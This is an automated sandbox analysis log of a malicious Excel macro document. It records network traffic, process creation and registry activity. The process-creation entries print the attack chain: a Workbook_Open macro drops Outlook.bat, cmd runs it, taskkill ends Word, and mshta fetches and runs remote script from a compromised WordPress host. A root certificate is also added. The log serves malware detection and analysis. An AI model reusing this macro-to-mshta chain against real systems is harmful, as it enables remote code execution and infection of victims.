Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49180 version: TLS 1.2
Source: C:\Windows\System32\mshta.exeWindows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dllJump to behavior
Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

System Summary

barindex
Document contains an embedded VBA macro with suspicious strings
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"Name: Workbook_Open
Source: C:\Windows\System32\mshta.exeCode function: 8_2_051C589E8_2_051C589E
Source: C:\Windows\System32\mshta.exeCode function: 8_2_051C5F7C8_2_051C5F7C
Source: C:\Windows\System32\mshta.exeCode function: 8_2_051C9A428_2_051C9A42
Source: C:\Windows\System32\mshta.exeCode function: 8_2_051C00008_2_051C0000
Source: C:\Windows\System32\mshta.exeCode function: 8_2_051C9A208_2_051C9A20
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_OpenName: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsMetadefender: Detection: 29%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsReversingLabs: Detection: 41%
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: .................................................z3......................c]S......................3.............h...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........J.... ..J....................2..................J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................c.a.l.l........./.......................P........$.J............/...............x...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................ .g.e.t.C.m.d.P.i.d...b.a.t. ...........Nf]S....c.a.l.l...........3.............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................................i.d...b.................Nf]S....c.a.l.l...........3.............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ...................J....................................@c.J..... ........................gv....................................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: .................................................z3......................c]S......................3.............h...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........J.... ..J....................2..................J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................s.e.t.........../.......................P........$.J............/...............x...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................ .P.I.D.=.1. ...........................Nf]S....s.e.t.............3.............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ........................................................................Nf]S....s.e.t.............3.............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................................................7......................c]S......................3.............h...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................ .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .........H.......H.......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................................o.d.e...................Nf]S....m.o.d.e...........3.............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ...................J....................................@c.J..... ........................gv....................................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: .................................................z3......................c]S......................3.............h...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................c.d............./.......................P........$.J............/...............x...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................ .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. .......Nf]S....c.d...............3.............H.......".......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................................................s.\.P.u.................Nf]S....c.d...............3.............H...............................Jump to behavior
Source: C:\Windows\System32\taskkill.exeConsole Write: ................................................d1K.......................?.............d...............e.?.............X.......B.........G.....Jump to behavior
Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;WINWORD.EXE&quot;)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR6B21.tmpJump to behavior
Source: classification engineClassification label: mal92.troj.expl.evad.winXLS@11/87@5/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Windows\System32\mshta.exeCode function: 8_2_051C9002 pushad ; retf 001Dh8_2_051C9003
Source: C:\Windows\System32\mshta.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
